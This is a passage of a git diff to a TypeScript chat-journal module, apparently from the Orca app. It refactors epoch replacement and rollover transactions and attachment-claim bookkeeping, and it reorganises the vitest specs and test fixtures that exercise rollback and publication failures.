expect(journal.submission('pending')).toMatchObject({ + dispatchState: 'pending', + handoverRecorded: true, + queuedMessageId: 'queue-0' + }) + expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') + expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([card.body, card.body]) + process.stdout.write( + `pr34654-mixed-epoch-contract ${JSON.stringify({ q: count, i: 1, s: 1, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + } + await fixture.journals.closeAll() + const reopened = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + fixture.database = openTestJournalHostDatabase(fixture.root) + expect(reopened.queuedMessages.list().map((card) => card.body)).toEqual( + before.map((card) => card.body) + ) + for (const file of files) { + expect(markUnclaimedUploadForSweep(fixture.database.db, file.id, 1)).toBe(false) + expect(await readFile(file.path, 'utf8')).toBe('queued source') + } + } + ) + + it.each(['replace', 'roll'] as const)( + 'finalizes %s queue ownership only after COMMIT and before fallible publication', + async (mode) => { + const [file] = await fixture.legacyInputs(1) + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + for (const phase of ['rollback', 'publication'] as const) { + const goal = { provider: 'orca' as const, clientMessageId: `goal-${phase}` } + await journal.appendClaimingAttachments( + goal, + { ...file.body, sentAs: 'goal' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const retire = () => + mode === 'replace' + ? journal.replaceEpochItems('legacy_import', 1, []) + : journal.rollEpoch('handle_forked', 1) + if (phase === 'rollback') { + const transaction = fixture.database.transaction.bind(fixture.database) + vi.spyOn(fixture.database, 'transaction').mockImplementationOnce((run) => + transaction((db) => { + run(db) + throw new Error('rollback epoch') + }) + ) + await expect(retire()).rejects.toThrow('rollback epoch') + } else { + journal.observeCommits(() => { + throw new Error('publication failed') + }) + await expect(retire()).rejects.toThrow('publication failed') + journal.observeCommits(() => {}) + } + await journal.withdrawGoalObjective(goal, { fence: 1 }) + expect( + fixture.database.db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(phase === 'rollback' ? 0 : 1) + expect(journal.queuedMessages.list()).toHaveLength(1) + } + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts index 7d5b142e04e..b76b12c0b03 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.spec.ts @@ -1,327 +1,7 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' - -import { mkdtemp, rm, mkdir, writeFile, readFile } from 'node:fs/promises' -import { randomUUID } from 'node:crypto' -import { tmpdir } from 'node:os' -import { join, dirname } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalItemIdentity, - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import type { JournalHostDatabase } from './journal-host-database' -import { replaceJournalEpoch } from './journal-epoch-replacement' -import type { JournalLoad } from './journal-open' -import type { AgentSessionJournal } from './journal-store' -import { readJournalSessionEpoch } from './journal-row-table' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - readTestJournalRows -} from './journal-host-database-test-support' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' - -import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' -import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' -import { markUnclaimedUploadForSweep } from '../agent-session-attachments/agent-session-attachment-claims' -import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import { createFixture } from './journal-epoch-replacement-contract-test-fixture' +import { registerJournalEpochReplacementReceiptsTests } from './journal-epoch-replacement-receipts.spec' export function registerJournalEpochReplacementTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - } - - const PEER: AgentSessionJournalIdentity = { - ...IDENTITY, - sessionId: 'session-peer', - providerHandle: codexProviderHandle('thread-peer') - } - - let root: string - let clock = 1_000 - let database: JournalHostDatabase - const journals = createTrackedJournalOpener() - - function now(): number { - clock += 1 - return clock - } - - function storedRows(sessionId: string, epoch: string): number { - return Number( - database.db - .prepare('SELECT count(*) AS total FROM journal_rows WHERE session_id = ? AND epoch = ?') - .get(sessionId, epoch)?.total - ) - } - - function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } - } - - function replace(input: { - items: Parameters[0]['items'] - onPublished?: (loaded: JournalLoad) => void - }): void { - replaceJournalEpoch({ - database, - identity: IDENTITY, - reason: 'legacy_import', - fence: 1, - items: input.items, - queuePause: { lifted: false, liveStop: null, reopened: false }, - queue: { cards: [], receipt: { write: () => {}, committed: () => {} } }, - now, - mintEpoch: () => `epoch-${clock}`, - onPublished: input.onPublished ?? (() => undefined) - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-journal-replace-')) - clock = 1_000 - database = openTestJournalHostDatabase(root) - }) - - afterEach(async () => { - try { - await database.close() - } catch {} - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe('journal epoch replacement', () => { - it('publishes one observable replacement', () => { - const published: JournalLoad[] = [] - - replace({ - items: [ - { identity: item(1), body: { kind: 'status', text: 'republished' }, ownerFence: 1 } - ], - onPublished: (loaded) => published.push(loaded) - }) - - expect(published).toHaveLength(1) - const epoch = readJournalSessionEpoch(database.db, IDENTITY.sessionId) - expect(epoch).toBe(published[0]?.state.epoch) - expect(readTestJournalRows(database.db, IDENTITY.sessionId, epoch ?? '')).toHaveLength(2) - }) - - it.each([ - [ - 'a replace', - (journal: AgentSessionJournal) => - journal.replaceEpochItems('legacy_import', 1, [ - { identity: item(9), body: { kind: 'status', text: 'republished' }, ownerFence: 1 } - ]) - ], - ['a rollover', (journal: AgentSessionJournal) => journal.rollEpoch('handle_forked', 1)] - ])('discards every superseded row in the same transaction as %s', async (_name, retire) => { - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - const peer = await journals.open({ identity: PEER, stateDirectory: root }) - const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendItem(item(1), { kind: 'status', text: 'old' }, scope) - await journal.appendItem(item(2), { kind: 'status', text: 'older' }, scope) - await peer.appendItem(item(1), { kind: 'status', text: 'peer' }, scope) - const before = journal.epoch - - await retire(journal) - - expect(journal.epoch).not.toBe(before) - expect(storedRows(IDENTITY.sessionId, before)).toBe(0) - expect(storedRows(IDENTITY.sessionId, journal.epoch)).toBe(journal.cursor().sequence) - expect(storedRows(PEER.sessionId, peer.epoch)).toBe(2) - }) - }) - - async function legacyInputs(count: number) { - const existing = await journals.open({ identity: IDENTITY, stateDirectory: root }) - await existing.close() - const files: { id: string; path: string; body: AgentJournalMessageItem }[] = [] - for (let n = 0; n < count; n++) { - const id = randomUUID() - const path = join( - attachmentReferences.agentSessionAttachmentStoreRoot(root), - id, - 'source.txt' - ) - await mkdir(dirname(path), { recursive: true }) - await writeFile(path, 'queued source') - const body: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: formatNativeChatFileReference(path) }] - } - database.db - .prepare(`INSERT INTO queued_messages - (session_id, message_id, position, body_json, fingerprint, created_at, host_instance, state, hold_reason, returned_reason, consumed_as) - VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)`) - .run( - IDENTITY.sessionId, - `queue-${n}`, - n + 1, - JSON.stringify(body), - agentSessionSendBodyFingerprint(IDENTITY.sessionId, body), - n % 2 ? 'returned' : 'waiting', - n % 2 ? null : 'send_failed', - n % 2 ? 'refused before' : null, - n % 2 ? `old-${n}` : null - ) - files.push({ id, path, body }) - } - return files - } - - it.each([ - ['replace', 1], - ['replace', 10], - ['roll', 1], - ['roll', 10] - ] as const)( - 'claims each actual carried card once through %s at Q=%i, with no prior claim and after reopen', - async (mode, count) => { - const files = await legacyInputs(count) - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - const { db } = database - expect( - db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(0) - const cards = () => - journal.queuedMessages - .list() - .map(({ messageId, body, state, holdReason, returnedReason }) => ({ - messageId, - body, - state, - holdReason, - returnedReason - })) - const before = cards() - const goal = { provider: 'orca' as const, clientMessageId: 'live-goal' } - await journal.appendClaimingAttachments( - goal, - { ...files[0].body, sentAs: 'goal' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') - const insertion = vi.spyOn( - db.prepare( - 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' - ), - 'run' - ) - const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') - await (mode === 'replace' - ? journal.replaceEpochItems('legacy_import', 1, []) - : journal.rollEpoch('handle_forked', 1)) - expect(extraction).toHaveBeenCalledTimes(count) - expect(insertion).toHaveBeenCalledTimes(count) - expect(acquired).toHaveBeenCalledTimes(count) - expect(cards()).toEqual(before) - process.stdout.write( - `pr34654-epoch-contract ${JSON.stringify({ mode, count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - await journal.withdrawGoalObjective(goal, { fence: 1 }) - expect( - db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(count) - if (mode === 'replace') { - const card = journal.queuedMessages.get('queue-0') - if (!card) { - throw new Error('missing carried card') - } - await journal.appendSubmission({ - clientMessageId: 'pending', - payloadFingerprint: card.fingerprint, - body: card.body, - fence: 1, - handoverRecorded: true, - queuedMessageId: card.messageId - }) - expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') - extraction.mockClear() - insertion.mockClear() - acquired.mockClear() - await journal.replaceEpochItems('legacy_import', 1, [ - { - identity: item(9), - body: card.body, - ownerFence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ]) - expect(extraction).toHaveBeenCalledTimes(count + 2) - expect(insertion).toHaveBeenCalledTimes(count + 2) - expect(acquired).toHaveBeenCalledTimes(count + 2) - expect(journal.submission('pending')).toMatchObject({ - dispatchState: 'pending', - handoverRecorded: true, - queuedMessageId: 'queue-0' - }) - expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') - expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([card.body, card.body]) - process.stdout.write( - `pr34654-mixed-epoch-contract ${JSON.stringify({ q: count, i: 1, s: 1, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - } - await journals.closeAll() - const reopened = await journals.open({ identity: IDENTITY, stateDirectory: root }) - database = openTestJournalHostDatabase(root) - expect(reopened.queuedMessages.list().map((card) => card.body)).toEqual( - before.map((card) => card.body) - ) - for (const file of files) { - expect(markUnclaimedUploadForSweep(database.db, file.id, 1)).toBe(false) - expect(await readFile(file.path, 'utf8')).toBe('queued source') - } - } - ) - - it.each(['replace', 'roll'] as const)( - 'finalizes %s queue ownership only after COMMIT and before fallible publication', - async (mode) => { - const [file] = await legacyInputs(1) - const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) - for (const phase of ['rollback', 'publication'] as const) { - const goal = { provider: 'orca' as const, clientMessageId: `goal-${phase}` } - await journal.appendClaimingAttachments( - goal, - { ...file.body, sentAs: 'goal' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const retire = () => - mode === 'replace' - ? journal.replaceEpochItems('legacy_import', 1, []) - : journal.rollEpoch('handle_forked', 1) - if (phase === 'rollback') { - const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementationOnce((run) => - transaction((db) => { - run(db) - throw new Error('rollback epoch') - }) - ) - await expect(retire()).rejects.toThrow('rollback epoch') - } else { - journal.observeCommits(() => { - throw new Error('publication failed') - }) - await expect(retire()).rejects.toThrow('publication failed') - journal.observeCommits(() => {}) - } - await journal.withdrawGoalObjective(goal, { fence: 1 }) - expect( - database.db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() - ).toHaveLength(phase === 'rollback' ? 0 : 1) - expect(journal.queuedMessages.list()).toHaveLength(1) - } - } - ) + const fixture = createFixture() + registerJournalEpochReplacementReceiptsTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts index 3b8f7866039..c39a1fbbbad 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement.ts @@ -1,3 +1,5 @@ +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' import { journalItemEchoFields, journalItemEchoRestatement, @@ -43,12 +45,11 @@ import { import type { JournalQueuePauseRestatement } from './queued-message-pause' import { deleteJournalEpochRows, - insertJournalRow, publishJournalSessionEpoch, readJournalSessionEpoch } from './journal-row-table' import type { AgentJournalEpochReason, JournalRow } from './journal-row-schema' -import { assertJournalFence } from './journal-write-guards' +import { AgentSessionJournalError, assertJournalFence } from './journal-write-guards' import type { JournalOperationReceipt } from './journal-row-writer' import type { JournalAttachmentClaim } from './journal-submission-hook' @@ -65,6 +66,8 @@ export type JournalReplacementItem = AgentJournalProducerLinkage & { executionOwner?: number } +/** Survivors are restated from the open chat. That loses nothing another build wrote: a chat holding + * a key this build does not declare refuses to open, so no handle can reach here. */ export function replaceJournalEpoch(input: { database: JournalHostDatabase identity: AgentSessionJournalIdentity @@ -192,34 +195,47 @@ export function replaceJournalEpoch(input: { const { sessionId } = input.identity const receipt = input.receipt?.({ epoch, sequence: state.lastSequence }) const claimsCommitted: (() => void)[] = [] - input.database.transaction((db) => { - const retired = readJournalSessionEpoch(db, sessionId) - if (retired !== null) { - deleteJournalEpochRows(db, sessionId, retired) - } - for (const row of rows) { - insertJournalRow(db, sessionId, row) - const body = row.kind === 'item' || row.kind === 'submission' ? row.body : null - if ( - body?.kind === 'message' && - body.role === 'user' && - !(row.kind === 'item' && input.isLiveGoal?.(row.itemId)) - ) { - const commit = input.claimAttachments?.(db, body, false) - if (commit) { - claimsCommitted.push(commit) + state.oldestSequence = 1 + input.database.transaction( + (db) => { + const retired = readJournalSessionEpoch(db, sessionId) + // The new epoch was built from the live one; refuse if another write replaced it meanwhile. + if (input.previous && retired !== input.previous.epoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + if (retired !== null) { + journalOutcomeSource(db, sessionId, retired) + } + if (retired !== null) { + deleteJournalEpochRows(db, sessionId, retired) + } + for (const row of rows) { + const body = row.kind === 'item' || row.kind === 'submission' ? row.body : null + if ( + body?.kind === 'message' && + body.role === 'user' && + !(row.kind === 'item' && input.isLiveGoal?.(row.itemId)) + ) { + const commit = input.claimAttachments?.(db, body, false) + if (commit) { + claimsCommitted.push(commit) + } } } + input.queue.receipt.write(db) + publishJournalSessionEpoch(db, input.identity, epoch) + receipt?.write(db) + return publishJournalOutcomeEpoch(db, sessionId, state.epoch, rows) + }, + false, + (publication) => { + // Adopt, then finish the nonthrowing ownership bookkeeping, before the fallible publication. + const state = publication.adopt() + claimsCommitted.forEach((commit) => commit()) + input.queue.receipt.committed() + input.onPublished({ state, newer: null, damage: null }) } - input.queue.receipt.write(db) - publishJournalSessionEpoch(db, input.identity, epoch) - receipt?.write(db) - }) - claimsCommitted.forEach((commit) => commit()) - input.queue.receipt.committed() + ) - // Adopt the committed epoch immediately; later failures must not leave writers targeting deleted rows. - state.oldestSequence = 1 - input.onPublished({ state, newer: null, damage: null }) receipt?.committed() } diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts b/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts index feca4c4d006..615f622972e 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-rollover.ts @@ -1,5 +1,7 @@ // Delete and replace epochs atomically; retaining superseded rows would grow history without bound. +import { journalOutcomeSource } from './journal-outcome-format' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' import { journalRowSchemaVersion } from '../../../shared/agent-session-journal-types' import type { AgentSessionJournalIdentity } from '../../../shared/agent-session-journal-types' import { agentSessionJournalProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' @@ -10,11 +12,11 @@ import { buildJournalQueueRow } from './journal-queue-events' import type { JournalQueueRestatement } from './journal-queued-messages' import { deleteJournalEpochRows, - insertJournalRow, publishJournalSessionEpoch, readJournalSessionEpoch } from './journal-row-table' import type { AgentJournalEpochReason, JournalRow } from './journal-row-schema' +import { AgentSessionJournalError } from './journal-write-guards' export function publishNewEpoch(input: { database: JournalHostDatabase @@ -25,6 +27,8 @@ export function publishNewEpoch(input: { now: number /** Unhanded cards wait again; replacement submissions may relink them. */ queue: JournalQueueRestatement + /** The epoch the caller built from (null: none yet); a different stored epoch refuses. */ + expectedEpoch?: string | null /** Adopt committed state before fallible follow-up work. */ onPublished: (loaded: JournalLoad) => void }): void { @@ -32,7 +36,6 @@ export function publishNewEpoch(input: { kind: 'epoch', reason: input.reason, providerHandle: agentSessionJournalProviderHandle(input.identity), - // Body-free epoch rows must remain readable by older hosts. v: journalRowSchemaVersion([]), epoch: input.epoch, seq: 1, @@ -51,20 +54,29 @@ export function publishNewEpoch(input: { rows.push(card) } } - input.database.transaction((db) => { - const retired = readJournalSessionEpoch(db, sessionId) - if (retired !== null) { - deleteJournalEpochRows(db, sessionId, retired) - } - for (const each of rows) { - insertJournalRow(db, sessionId, each) - } - input.queue.receipt.write(db) - publishJournalSessionEpoch(db, input.identity, input.epoch) - }) - - // Adopt committed state before fallible work can leave writers targeting the deleted epoch. - input.queue.receipt.committed() state.oldestSequence = 1 - input.onPublished({ state, newer: null, damage: null }) + input.database.transaction( + (db) => { + const retired = readJournalSessionEpoch(db, sessionId) + if (input.expectedEpoch !== undefined && retired !== input.expectedEpoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + if (retired !== null) { + journalOutcomeSource(db, sessionId, retired) + } + if (retired !== null) { + deleteJournalEpochRows(db, sessionId, retired) + } + input.queue.receipt.write(db) + publishJournalSessionEpoch(db, input.identity, input.epoch) + return publishJournalOutcomeEpoch(db, sessionId, state.epoch, rows) + }, + false, + (publication) => { + // Adopt, then finish the nonthrowing queue bookkeeping, before the fallible publication. + const state = publication.adopt() + input.queue.receipt.committed() + input.onPublished({ state, newer: null, damage: null }) + } + ) } diff --git a/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts b/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts index 46108f549c0..93d11ac3a22 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database-test-support.ts @@ -1,10 +1,18 @@ // Share one connection per test profile to match production host ownership. import { resolve } from 'node:path' +import { randomUUID } from 'node:crypto' +import { journalRowSchemaVersion } from '../../../shared/agent-session-journal-types' +import { agentSessionJournalProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' import { JournalHostDatabase } from './journal-host-database' -import { replayJournal, type JournalLoad } from './journal-open' +import { fields } from './journal-state-schema' +import { journalOutcomeSource } from './journal-outcome-format' +import { decodeJournalOutcome, type JournalOutcome } from './journal-outcome-codec' +import { applyJournalRow } from './journal-reducer' +import { restoreJournal, type JournalLoad } from './journal-open' import { serializeJournalRow, type JournalRow } from './journal-row-schema' import { + insertJournalRow, iterateJournalEpochRows, publishJournalSessionEpoch, readJournalSessionEpoch, @@ -50,15 +58,23 @@ export type TrackedJournalOpener = { closeAll: () => Promise } -export function createTrackedJournalOpener(): TrackedJournalOpener { +export function createTrackedJournalOpener( + fixture: { legacyInputs?: boolean } = {} +): TrackedJournalOpener { const journals: AgentSessionJournal[] = [] return { open: async ({ stateDirectory, ...options }) => { + if (fixture.legacyInputs) { + seedLegacyTestJournal(openTestJournalHostDatabase(stateDirectory), options) + } const { openAgentSessionJournal } = await import('./journal-store-factory') const journal = await openAgentSessionJournal({ ...options, database: openTestJournalHostDatabase(stateDirectory) }) + if (fixture.legacyInputs) { + pinTestJournalInputMode(journal) + } journals.push(journal) return journal }, @@ -73,6 +89,33 @@ export function createTrackedJournalOpener(): TrackedJournalOpener { } } +/** Input-parser fixtures explicitly found an epoch in the shipped input format. */ +export function seedLegacyTestJournal( + database: JournalHostDatabase, + options: Omit +): void { + if ( + database.readOnly || + readJournalSessionEpoch(database.db, options.identity.sessionId) !== null + ) { + return + } + const epoch = options.mintEpoch?.() ?? randomUUID() + database.transaction((db) => { + publishJournalSessionEpoch(db, options.identity, epoch) + insertTestJournalRow(db, options.identity.sessionId, { + kind: 'epoch', + v: journalRowSchemaVersion([]), + epoch, + seq: 1, + fence: 0, + ts: options.now?.() ?? Date.now(), + reason: 'session_created', + providerHandle: agentSessionJournalProviderHandle(options.identity) + }) + }) +} + export const SAVED_BY_NEWER_ORCA = { refusal: { code: 'agent_session_journal_unreadable', @@ -81,7 +124,7 @@ export const SAVED_BY_NEWER_ORCA = { } export function loadTestJournal(stateDirectory: string, sessionId: string): JournalLoad | null { - return replayJournal(openTestJournalHostDatabase(stateDirectory).db, sessionId) + return restoreJournal(openTestJournalHostDatabase(stateDirectory).db, sessionId) } function liveEpoch(db: Database.Database, sessionId: string): string { @@ -153,3 +196,67 @@ export function deleteTestJournalRow(db: Database.Database, sessionId: string, s seq ) } + +/** Read current canonical contributions in commit order for persisted-outcome assertions. */ +export function readTestJournalOutcomes( + db: Database.Database, + sessionId: string +): JournalOutcome[] { + const epoch = readJournalSessionEpoch(db, sessionId) + const source = epoch && journalOutcomeSource(db, sessionId, epoch) + if (!source) { + return [] + } + return db + .prepare(`SELECT seq, field, entry_key, format, ordinal, value_json, deleted FROM journal_outcomes + WHERE generation = ? ORDER BY seq, field, entry_key`) + .all(source.generation) + .map(decodeJournalOutcome) +} + +export function readTestQueueChanges( + db: Database.Database, + sessionId: string +): { + messageId: string + op: string + returned: boolean +}[] { + const seen = new Set() + return readTestJournalOutcomes(db, sessionId).flatMap((value) => { + if (value.field !== 'queue.cards') { + return [] + } + if (value.deleted) { + return [{ messageId: String(JSON.parse(value.key)), op: 'withdrawn', returned: false }] + } + const [messageId, card] = fields.queue.shape.cards.element.parse(JSON.parse(value.json)) + const first = !seen.has(messageId) + seen.add(messageId) + return [ + { messageId, op: first ? 'queued' : card.state, returned: first && card.state === 'returned' } + ] + }) +} + +/** Input fixtures stand for a chat an older build wrote and goes on writing: writes to its input + * epoch stay input rows, as that build's writer stored them, so the input reader meets writer-made + * rows. An epoch this build founds (rollover, replacement) is written as this build writes it. */ +export function pinTestJournalInputMode(journal: AgentSessionJournal): void { + const projection = journal['projection'] + const prepare = projection.prepare.bind(projection) + projection.prepare = (db, rows, savedAt) => { + const state = journal['state'] + if (journalOutcomeSource(db, state.sessionId, state.epoch)) { + return prepare(db, rows, savedAt) + } + for (const row of rows) { + insertJournalRow(db, state.sessionId, row, savedAt) + } + return () => { + for (const row of rows) { + applyJournalRow(state, row, savedAt) + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts b/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts index f7392afec74..3da49ac632d 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database.spec.ts @@ -46,7 +46,7 @@ export function registerJournalHostDatabaseTests(): void { } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } @@ -55,11 +55,11 @@ export function registerJournalHostDatabaseTests(): void { /** Deferred foreign-key failures leave COMMIT open, exercising shared-connection rollback recovery. */ function failCommits(db: Database.Database): () => void { db.exec(`CREATE TEMP TABLE commit_probe_parent (id INTEGER PRIMARY KEY); -CREATE TEMP TABLE commit_probe_child ( - parent INTEGER REFERENCES commit_probe_parent (id) DEFERRABLE INITIALLY DEFERRED -); -CREATE TEMP TRIGGER commit_probe AFTER INSERT ON main.journal_rows -BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) + CREATE TEMP TABLE commit_probe_child ( + parent INTEGER REFERENCES commit_probe_parent (id) DEFERRABLE INITIALLY DEFERRED + ); + CREATE TEMP TRIGGER commit_probe AFTER INSERT ON main.journal_rows + BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) return () => db.exec('DROP TRIGGER temp.commit_probe') } @@ -89,10 +89,10 @@ BEGIN INSERT INTO commit_probe_child (parent) VALUES (1); END`) args: [ '-e', `const { DatabaseSync } = require('node:sqlite') -const db = new DatabaseSync(process.argv[1]) -db.exec('BEGIN IMMEDIATE') -process.stdout.write('holding') -setTimeout(() => { db.exec('COMMIT'); db.close() }, 200)`, + const db = new DatabaseSync(process.argv[1]) + db.exec('BEGIN IMMEDIATE') + process.stdout.write('holding') + setTimeout(() => { db.exec('COMMIT'); db.close() }, 200)`, journalDatabasePath(root) ], timeoutMs: 30_000 diff --git a/src/main/native-chat/agent-session-journal/journal-host-database.ts b/src/main/native-chat/agent-session-journal/journal-host-database.ts index 62ab838f54e..c35b06c11a8 100644 --- a/src/main/native-chat/agent-session-journal/journal-host-database.ts +++ b/src/main/native-chat/agent-session-journal/journal-host-database.ts @@ -60,12 +60,17 @@ export class JournalHostDatabase { } /** Streamed text may lose only its trailing suffix on OS crash; the next FULL commit makes it durable. */ - transaction(run: (db: Database.Database) => T, streamed = false): T { + transaction( + run: (db: Database.Database) => T, + streamed = false, + committed?: (result: T) => void + ): T { const db = this.db if (!streamed) { const result = runJournalTransaction(db, run, () => { this.stranded = true }) + committed?.(result) this.checkpoint?.afterCommit() return result } @@ -76,6 +81,7 @@ export class JournalHostDatabase { result = runJournalTransaction(db, run, () => { this.stranded = true }) + committed?.(result) } finally { if (!db.isTransaction) { db.pragma('synchronous = FULL') diff --git a/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts b/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts index c574811413f..6c76e730fd7 100644 --- a/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-item-provenance.spec.ts @@ -39,7 +39,7 @@ export function registerJournalItemProvenanceTests(): void { let root: string let database: JournalHostDatabase - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } diff --git a/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts b/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts index 1c7b2f5be36..f02e0ddf071 100644 --- a/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-lifecycle-batch-appender.spec.ts @@ -26,7 +26,7 @@ export function registerJournalLifecycleBatchAppenderTests(): void { } const SESSION = 'repeated-items' - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) let root: string let journal: AgentSessionJournal const options = () => ({ diff --git a/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts b/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts new file mode 100644 index 00000000000..21693b1221d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts @@ -0,0 +1,197 @@ +import type { createFixture } from './journal-store-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readdir } from 'node:fs/promises' +import { describe, expect, it } from 'vitest' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { + boundInlineText, + boundPayload, + JOURNAL_RUNNING_PREVIEW_LIMITS +} from './journal-payload-bounds' +import type { AgentSessionJournal } from './journal-store' + +export function registerJournalLifecycleBoundaryTests( + fixture: ReturnType +): void { + describe('bounds', () => { + it('marks a clipped payload instead of dropping bytes silently', () => { + const limits = { inlineHeadBytes: 16 } + const bounded = boundPayload('x'.repeat(4_096), limits) + expect(bounded.truncated).toBe(true) + expect(bounded.head).toHaveLength(16) + expect(bounded.byteLength).toBe(4_096) + expect(boundInlineText('x'.repeat(4_096), limits).text).toContain('output truncated') + }) + + it('never splits a multi-byte character across the bound', () => { + const limits = { inlineHeadBytes: 4 } + // Three-byte characters expose UTF-8 splits. + const bounded = boundPayload('日本語テスト', limits) + expect(bounded.head).toBe('日') + expect(Buffer.byteLength(bounded.head, 'utf8')).toBeLessThanOrEqual(4) + }) + + it('leaves a payload inside the bound untouched', () => { + const bounded = boundPayload('small', JOURNAL_RUNNING_PREVIEW_LIMITS) + expect(bounded.truncated).toBe(false) + expect(bounded.head).toBe('small') + expect(boundInlineText('small', JOURNAL_RUNNING_PREVIEW_LIMITS).text).toBe('small') + }) + }) + + describe('lifecycle batches', () => { + it('deduplicates concurrent submissions before appending a second row', async () => { + const journal = await fixture.open() + const input = { + settlementId: 'concurrent-settlement', + fence: 1, + mutations: [ + { + kind: 'item' as const, + 